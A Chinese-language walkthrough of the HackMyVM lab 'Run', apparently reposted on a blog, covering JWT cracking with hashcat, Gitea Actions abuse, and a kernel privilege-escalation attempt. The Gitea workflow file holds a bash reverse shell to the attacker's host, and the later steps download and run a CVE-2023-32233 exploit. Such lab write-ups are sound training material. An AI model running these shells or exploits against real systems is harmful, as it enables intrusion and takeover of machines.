[HackMyVM]靶场 Run

news2024/11/18 21:31:59

kali:192.168.56.104

主机发现

arp-scan -l
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:05       (Unknown: locally administered)
192.168.56.100  08:00:27:bb:bb:02       PCS Systemtechnik GmbH
192.168.56.114  08:00:27:a6:14:7c       PCS Systemtechnik GmbH

靶机:192.168.56.11

端口扫描

nmap 192.168.56.114
PORT     STATE SERVICE
3000/tcp open  ppp

只开了一个3000端口

打开是一个gitea服务

探索里面有flask jwt auth

jwt_token看不见

不过在历史文件里面可以看到

jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwNzE0ODY1OCwianRpIjoiNjAwMWI5N2YtZjllOC00YTIxLThlYWMtYmE5NWEwY2Y4MDQ4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldiIsIm5iZiI6MTcwNzE0ODY1OCwiY3NyZiI6ImFkZjdmOTBiLWQ2NDctNDljZS1hNGRhLTQ3NDI1OWZkYzcyYyIsImV4cCI6MTcwNzE0OTI1OCwidXNlcm5hbWUiOiJkZXYifQ.tRZPFKRfJV7T-EHyQiBFqDEE1hl83MyCGtaBpSMwU_o"

解析一下没什么用

用john爆破一下密码

# hashcat -O -a 0 -m 16500 jwtt.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-haswell-12th Gen Intel(R) Core(TM) i7-12700H, 1906/3876 MB (512 MB allocatable), 1MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 3 secs

Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwNzE0ODY1OCwianRpIjoiNjAwMWI5N2YtZjllOC00YTIxLThlYWMtYmE5NWEwY2Y4MDQ4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldiIsIm5iZiI6MTcwNzE0ODY1OCwiY3NyZiI6ImFkZjdmOTBiLWQ2NDctNDljZS1hNGRhLTQ3NDI1OWZkYzcyYyIsImV4cCI6MTcwNzE0OTI1OCwidXNlcm5hbWUiOiJkZXYifQ.tRZPFKRfJV7T-EHyQiBFqDEE1hl83MyCGtaBpSMwU_o:developer88

密码是developer88

解析出来用户名是dev

然后用dev/developer88登录gitea

新创建一个仓库

然后在setting里面开启action

创建.gitea/workflows目录并写入一个反弹shell的yaml文件

# mkdir -p .gitea/workflows
                                                                                                                                                                                                                                                                                                  
┌──(root㉿kali2)-[~/Desktop]
└─# cd .gitea/workflows 
                                                                                                                                                                                                                                                                                                  
┌──(root㉿kali2)-[~/Desktop/.gitea/workflows]
└─# vim shell.yaml      
                                                                                                                                                                                                                                                                                                  
┌──(root㉿kali2)-[~/Desktop/.gitea/workflows]
└─# cat shell.yaml      
name: demo
run-name: ${{ github.actor }} is testing out Gitea Action
on: [push]
jobs:
  Explore-Gitea-Actions:
    runs-on: run
    steps:
      - run: /bin/bash -i >& /dev/tcp/192.168.56.104/4567 0>&1
┌──(root㉿kali2)-[~/Desktop/.gitea/workflows]
└─#mv ~/Desktop/.gitea   ~/Desktop/myshell

运行actions需要运行器,下载一个运行器

Gitea | act_runner

现需要注册一个runner

./act_runner register --no-interactive --instance <instance> --token <token>

ip地址就是instance

在设置添加runner里面获取token

# ./act_runner register --no-interactive --instance http://192.168.56.114:3000 --token ralq3rc5Kw1V20XmovyTG0DKBMc6gQuZybTHMYHC

INFO Registering runner, arch=amd64, os=linux, version=v0.2.6. 
INFO Runner name is empty, use hostname 'kali2'.  
DEBU Successfully pinged the Gitea instance server 
INFO Runner registered successfully. 

然后run

./act_runner daemon                                                                                                          
INFO[2024-03-07T22:44:44+08:00] Starting runner daemon                       
INFO[2024-03-07T22:44:44+08:00] runner: kali2, with version: v0.2.6, with labels: [ubuntu-latest ubuntu-22.04 ubuntu-20.04 ubuntu-18.04], declare successfully 

然后将shell.yaml上传到仓库

┌──(root㉿kali2)-[~/Desktop/myshell/.gitea/workflows]
└─# git config user.email "dev@run.hmv"
                                                                                                                                                                                                                                                                                                  
┌──(root㉿kali2)-[~/Desktop/myshell/.gitea/workflows]
└─# git config user.name "dev"
                                                                                                                                                                                                                                                                                                  
┌──(root㉿kali2)-[~/Desktop/myshell/.gitea/workflows]
└─# git add .
                                                                                                                                                                                                                                                                                                  
┌──(root㉿kali2)-[~/Desktop/myshell/.gitea/workflows]
└─# git commit -m "Testing"
[main (root-commit) 2708ed7] Testing
 1 file changed, 8 insertions(+)
 create mode 100644 .gitea/workflows/shell.yaml
                                                                                                                                                                                                                                                                                                  
┌──(root㉿kali2)-[~/Desktop/myshell/.gitea/workflows]
└─# git push origin main
Username for 'http://192.168.56.114:3000': dev
Password for 'http://dev@192.168.56.114:3000': 
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Compressing objects: 100% (2/2), done.
Writing objects: 100% (5/5), 446 bytes | 446.00 KiB/s, done.
Total 5 (delta 0), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://192.168.56.114:3000/dev/myshell.git
 * [new branch]      main -> main

之前开的监听端口也是返回了shell

不过目前还在docker里面

act@41571465a87b:~/cache/actions/e62fd81b2b2325de/hostexecutor$ ip route show
ip route show
default via 172.18.0.1 dev eth0 
172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.4 

先那个稳定shell

act@41571465a87b:~/cache/actions/9246c6b12576b1d1/hostexecutor$ sudo su -
sudo su -
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@41571465a87b:~# ^Z
zsh: suspended  nc -lvnp 4567
                                                                                                                                              
┌──(root㉿kali2)-[~/Desktop]
└─# stty raw -echo;fg
[2]  - continued  nc -lvnp 4567
                               reset
reset: unknown terminal type unknown
Terminal type? xterm

然后逃离docker

看一下ip

ip route show
# default via 172.18.0.1 dev eth0 
# 172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.4 

ssh连接

root@41571465a87b:~# ssh dev@172.18.0.1
The authenticity of host '172.18.0.1 (172.18.0.1)' can't be established.
ED25519 key fingerprint is SHA256:IGhXsYmgq4sTpoMPHq+MgSiAiNHWOR4ZkocqlvZPGis.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.18.0.1' (ED25519) to the list of known hosts.
dev@172.18.0.1's password: 


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Tue Feb  6 15:52:41 2024 from 172.18.0.4
dev@run:~$ ls -al
total 32
drwxr-x--- 4 dev  dev  4096 Mar  7 15:16 .
drwxr-xr-x 3 root root 4096 Feb  5 13:10 ..
lrwxrwxrwx 1 root root    9 Feb  5 13:40 .bash_history -> /dev/null
-rw-r--r-- 1 dev  dev   220 Jan  7  2023 .bash_logout
-rw-r--r-- 1 dev  dev  3771 Jan  7  2023 .bashrc
drwx------ 2 dev  dev  4096 Mar  7 15:16 .cache
-rw-r--r-- 1 dev  dev   807 Jan  7  2023 .profile
drwx------ 2 dev  dev  4096 Feb  5 13:10 .ssh
-rw------- 1 dev  dev    33 Feb  6 16:01 user.txt
dev@run:~$ cat user.txt
56f98bdfaf5186243bc4cb99f0674f58

拿到user权限

看linux内核

dev@run:~$ uname -a
Linux run 6.2.0-20-generic #20-Ubuntu SMP PREEMPT_DYNAMIC Thu Apr  6 07:48:48 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

6.2.0-20-generic搜索知道有个CVE

Linux Kernel 权限提升漏洞 (CVE-2023-32233)-阿里云开发者社区 (aliyun.com)

openwall.com/lists/oss-security/2023/05/15/5/3

apt install gcc libmnl-dev libnftnl-dev

gcc -Wall -o exploit exp.c -lmnl -lnftnl

​
dev@run:~$ wget http://192.168.56.104:6677/exploit
--2024-03-07 15:24:06--  http://192.168.56.104:6677/exploit
Connecting to 192.168.56.104:6677... connected.
HTTP request sent, awaiting response... 200 OK
Length: 63456 (62K) [application/octet-stream]
Saving to: ‘exploit’

exploit             100%[===================>]  61.97K  --.-KB/s    in 0.003s  

2024-03-07 15:24:06 (24.2 MB/s) - ‘exploit’ saved [63456/63456]

dev@run:~$ ls -al
total 96
drwxr-x--- 4 dev  dev   4096 Mar  7 15:24 .
drwxr-xr-x 3 root root  4096 Feb  5 13:10 ..
lrwxrwxrwx 1 root root     9 Feb  5 13:40 .bash_history -> /dev/null
-rw-r--r-- 1 dev  dev    220 Jan  7  2023 .bash_logout
-rw-r--r-- 1 dev  dev   3771 Jan  7  2023 .bashrc
drwx------ 2 dev  dev   4096 Mar  7 15:16 .cache
-rw-rw-r-- 1 dev  dev  63456 Mar  7 15:22 exploit
-rw-r--r-- 1 dev  dev    807 Jan  7  2023 .profile
drwx------ 2 dev  dev   4096 Feb  5 13:10 .ssh
-rw------- 1 dev  dev     33 Feb  6 16:01 user.txt
dev@run:~$ chmod +x exploit
dev@run:~$ ./exploit
[*] Netfilter UAF exploit


Using profile:
========
1                   race_set_slab                   # {0,1}
1572                race_set_elem_count             # k
4000                initial_sleep                   # ms
100                 race_lead_sleep                 # ms
600                 race_lag_sleep                  # ms
100                 reuse_sleep                     # ms
39d240              free_percpu                     # hex
2a8b900             modprobe_path                   # hex
23700               nft_counter_destroy             # hex
347a0               nft_counter_ops                 # hex
a                   nft_counter_destroy_call_offset # hex
ffffffff            nft_counter_destroy_call_mask   # hex
e8e58948            nft_counter_destroy_call_check  # hex
========

[*] Checking for available CPUs...
[*] sched_getaffinity() => 0 2
[*] Reserved CPU 0 for PWN Worker
[*] Creating "/tmp/modprobe"...
[*] Creating "/tmp/trigger"...
[*] Updating setgroups...
[*] Updating uid_map...
[*] Updating gid_map...
[*] Signaling PWN Worker...
[*] Waiting for PWN Worker...
[*] Starting PWN Worker
[*] Putting on seatbelts
pwn_prepare
pwn_uaf_spray
pwn_delay_spray_set
pwn_uaf_trigger
pwn_uaf_race
pwn_uaf_new_obj
pwn_uaf_dump_rule
[*] Signaling status=11 to coordinator...
[*] Got status=11 from PWN Worker...
[*] Creating "/tmp/modprobe"...
[*] Creating "/tmp/trigger"...
[*] Updating setgroups...
[*] Updating uid_map...
[*] Updating gid_map...
[*] Signaling PWN Worker...
[*] Waiting for PWN Worker...
[*] Starting PWN Worker
[*] Putting on seatbelts
pwn_prepare
pwn_uaf_spray
pwn_delay_spray_set
pwn_uaf_trigger
pwn_uaf_race
pwn_uaf_new_obj
pwn_uaf_dump_rule
[*] Signaling status=11 to coordinator...
[*] Got status=11 from PWN Worker...
[*] Creating "/tmp/modprobe"...
[*] Creating "/tmp/trigger"...
[*] Updating setgroups...
[*] Updating uid_map...
[*] Updating gid_map...
[*] Signaling PWN Worker...
[*] Waiting for PWN Worker...
[*] Starting PWN Worker
[*] Putting on seatbelts
pwn_prepare
pwn_uaf_spray
pwn_delay_spray_set
pwn_uaf_trigger
pwn_uaf_race
pwn_uaf_new_obj
pwn_uaf_dump_rule
[*] Signaling status=11 to coordinator...
[*] Got status=11 from PWN Worker...
[*] Creating "/tmp/modprobe"...
[*] Creating "/tmp/trigger"...
[*] Updating setgroups...
[*] Updating uid_map...
[*] Updating gid_map...
[*] Signaling PWN Worker...
[*] Waiting for PWN Worker...
[*] Starting PWN Worker
[*] Putting on seatbelts
pwn_prepare
pwn_uaf_spray
pwn_delay_spray_set
pwn_uaf_trigger
pwn_uaf_race
pwn_uaf_new_obj
pwn_uaf_dump_rule
[*] Signaling status=11 to coordinator...
[*] Got status=11 from PWN Worker...
[*] Creating "/tmp/modprobe"...
[*] Creating "/tmp/trigger"...
[*] Updating setgroups...
[*] Updating uid_map...
[*] Updating gid_map...
[*] Signaling PWN Worker...
[*] Waiting for PWN Worker...
[*] Starting PWN Worker
[*] Putting on seatbelts
pwn_prepare
pwn_uaf_spray
pwn_delay_spray_set
pwn_uaf_trigger
pwn_uaf_race
pwn_uaf_new_obj
pwn_uaf_dump_rule
[*] Signaling status=11 to coordinator...
[*] Got status=11 from PWN Worker...


[*] No ROOT for you:-(
[*] Please reboot the machine!

​

重启机器,在做就ok了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1498920.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

libevent源码解析:io事件(一)

文章目录 前言一、用例简单服务端实现参数设置 二、基本数据结构介绍三、源码分析event_base_newevent_newevent_addevent_base_dispatch 三、libevent和epoll中的事件标记epoll中的事件标记libevent中的事件标记libevent和epoll中事件标记的对应关系 总结 前言 libevent中对三…

libevent源码解析:定时器事件(三)

文章目录 前言一、用例小根堆管理定时器事件小根堆和链表管理定时器事件区别 二、基本数据结构介绍结构体成员分析小根堆和链表common_timeout图示 三、源码分析小根堆管理定时器事件event_newevent_addevent_dispatch 链表common_timeout管理定时器事件event_base_init_common…

react 分步表单中使用useEffect来更新表单值的问题

问题背景&#xff1a;我在完成一个分步表单的功能的时候&#xff0c;在进行点击下一步的时候&#xff0c;会通过useEffect 来监听下一步或者上一步的动作&#xff0c;进行表单赋值&#xff0c;我使用 useEffect(() > {setFieldsValue(formValues);}, [stepNum]) 直接赋值的…

动态规划:Leetcode 91.解码方法

题目 一条包含字母 A-Z 的消息通过以下映射进行了 编码 &#xff1a; A -> "1" B -> "2" ... Z -> "26" 要 解码 已编码的消息&#xff0c;所有数字必须基于上述映射的方法&#xff0c;反向映射回字母&#xff08;可能有多种方法&am…

【Web安全】XSS攻击与绕过

【Web安全】XSS攻击与绕过 【Web安全靶场】xss-labs-master 1-20 文章目录 【Web安全】XSS攻击与绕过1. XSS攻击是啥&#xff1f;2. XSS如何发生&#xff1f;3. XSS分类3.1. 反射型3.2. 存储型3.3. DOM型 4. XSS攻击方式1. script标签2. img标签3. input标签4. details标签5.…

【IC设计】Windows和Ubuntu下安装Verilator

文章目录 Windows下安装verilatorUbuntu下安装verilator安装前的准备安装verilator检查 Windows下安装verilator windows下安装比较麻烦&#xff0c;需要首先安装cygwin&#xff0c;cygwin是一个包管理工具&#xff0c;类似apt&#xff0c;然后通过cygwin安装verilator所需的各…

『大模型笔记』LLM框架(LangChain、LlamaIndex、Haystack、Hugging Face)哪一个是满足您特定需求的最佳选择?

LLM框架(LangChain、LlamaIndex、Haystack、Hugging Face)哪一个是满足您特定需求的最佳选择&#xff1f; 文章目录 1. LangChain1.1. 优势1.2. 劣势1.1. 理想用例 2. LlamaIndex2.1. 优势2.2. 劣势2.3. 理想用例 3. Haystack3.1. 优势3.2. 劣势3.3. 理想用例 4. Hugging Face…

CSAPP-程序的机器级表示

文章目录 概念扫盲思想理解经典好图安全事件 概念扫盲 1.汇编代码使用文本格式&#xff0c;相较于汇编的二进制可读性更好 2.程序内存包括&#xff1a;可执行的机器代码、操作系统需要的信息、管理过程调用和返回的运行时栈、用户分配的内存块 3.链接器为函数调用找到匹配的可…

ffmpeg maxrate 导致转码输出的内容包含随机性

https://trac.ffmpeg.org/wiki/Limiting%20the%20output%20bitrate 问题 领导提出了一个问题&#xff0c;为什么转码后的视频大小字节数据都不一样&#xff0c;这问到我了&#xff0c;一时语塞。查一下吧&#xff0c;没有什么资料支撑。主动试一下。 尝试 首先尝试一下直接…

JVM-对象创建与内存分配机制深度剖析 3

JVM对象创建过程详解 类加载检查 虚拟机遇到一条new指令时&#xff0c;首先将去检查这个指令的参数是否能在常量池中定位到一个类的符号引用&#xff0c;并且检查这个 符号引用代表的类是否已被加载、解析和初始化过。如果没有&#xff0c;那必须先执行相应的类加载过程。 new…

C# 用 System.Xml 读 Freeplane.mm文件,生成测试用例.csv文件

Freeplane 是一款基于 Java 的开源软件&#xff0c;继承 Freemind 的思维导图工具软件&#xff0c;它扩展了知识管理功能&#xff0c;在 Freemind 上增加了一些额外的功能&#xff0c;比如数学公式、节点属性面板等。 编写 read_Xml.cs 如下 using System; using System.IO…

SpringMVC-异步调用,拦截器与异常处理

1.异步调用 1.发送异步请求 <a href"javascript:void(0);" id"testAjax">访问controller</a> <script type"text/javascript" src"js/jquery-3.7.1.js"></script> <script type"text/javascript&qu…

基于 Win Server 2008 复现 IPC$ 漏洞

写在前面 本篇博客演示了使用 winXP&#xff08;配合部分 win10 的命令&#xff09;对 win server 2008 的 IPC$ 漏洞进行内网渗透&#xff0c;原本的实验是要求使用 win server 2003&#xff0c;使用 win server 2003 可以规避掉很多下面存在的问题&#xff0c;建议大家使用 …

Bytebase 签约合思,覆盖多云数据库变更发布,数据访问控制,安全治理的全生命周期,确保符合合规审计要求

在数字化快速发展时代&#xff0c;有效的规范数据库管理对企业安全运营至关重要。近日&#xff0c;数据库 DevOps 团队协同管理工具 Bytebase 签约费控领域领军企业合思&#xff0c;旨在全面优化数据库操作管理&#xff0c;收口全体员工的变更和查询操作&#xff0c;以提高整体…

Linux环境下使用interrupt方式操作UART

目录 概述 1 Linux环境下UART设备 2 轮询方式操作UART功能实现 2.1 打开串口函数&#xff1a;usr_serial_open 2.2 关闭串口函数&#xff1a; usr_serial_close 2.3 发送数据函数&#xff1a; usr_serial_sendbytes 2.4 接收数据函数&#xff1a; usr_serial_readinterr…

YOLOv8改进 | 主干篇 | 轻量级的低照度图像增强网络IAT改进YOLOv8暗光检测(全网独家首发)

一、本文介绍 本文给大家带来的改进机制是轻量级的变换器模型&#xff1a;Illumination Adaptive Transformer (IAT)&#xff0c;用于图像增强和曝光校正。其基本原理是通过分解图像信号处理器&#xff08;ISP&#xff09;管道到局部和全局图像组件&#xff0c;从而恢复在低光…

在高并发、高性能、高可用 三高项目中如何设计适合实际业务场景的分布式id(一)

分布式ID组件&#xff1a;黄金链路上的关键基石 在现代分布式系统中&#xff0c;分布式ID组件无疑扮演着至关重要的角色。作为整个系统的黄金链路上的关键组件&#xff0c;它的稳定性和可靠性直接关乎到整个系统的正常运作。一旦分布式ID组件出现问题&#xff0c;黄金链路上的…

微前端之使用无界创建一个微前端项目

wujie 使用手册 使用简介 主应用配置 安装 wujie依赖main.js配置 是否开启预加载 生命周期函数 – lifecycle.js配置 子应用配置 跨域设置运行模式 生命周期改造 在主应用中&#xff0c;使用wujie&#xff0c;将子应用引入到主应用中去 wujie 使用手册 wujie 是一个基于 Web…

加密 / MD5算法 /盐值

目录 加密的介绍 MD5算法 盐值 加密的介绍 加密介绍&#xff1a;在MySQL数据库中, 我们常常需要对密码, 身份证号, 手机号等敏感信息进行加密, 以保证数据的安全性。 如果使用明文存储, 当黑客入侵了数据库时, 就可以轻松获取到用户的相关信息, 从而对用户或者企业造成信息…

11. C语言标准函数库

C语言制定了一组使用方式通用的函数&#xff0c;称为C语言标准函数库&#xff0c;用于实现编程常用功能&#xff0c;标准函数库由编译器系统提供&#xff0c;并按功能分类存储在不同源代码文件中&#xff0c;调用标准库内函数时需要首先使用 #include 连接对应的源代码文件。 【…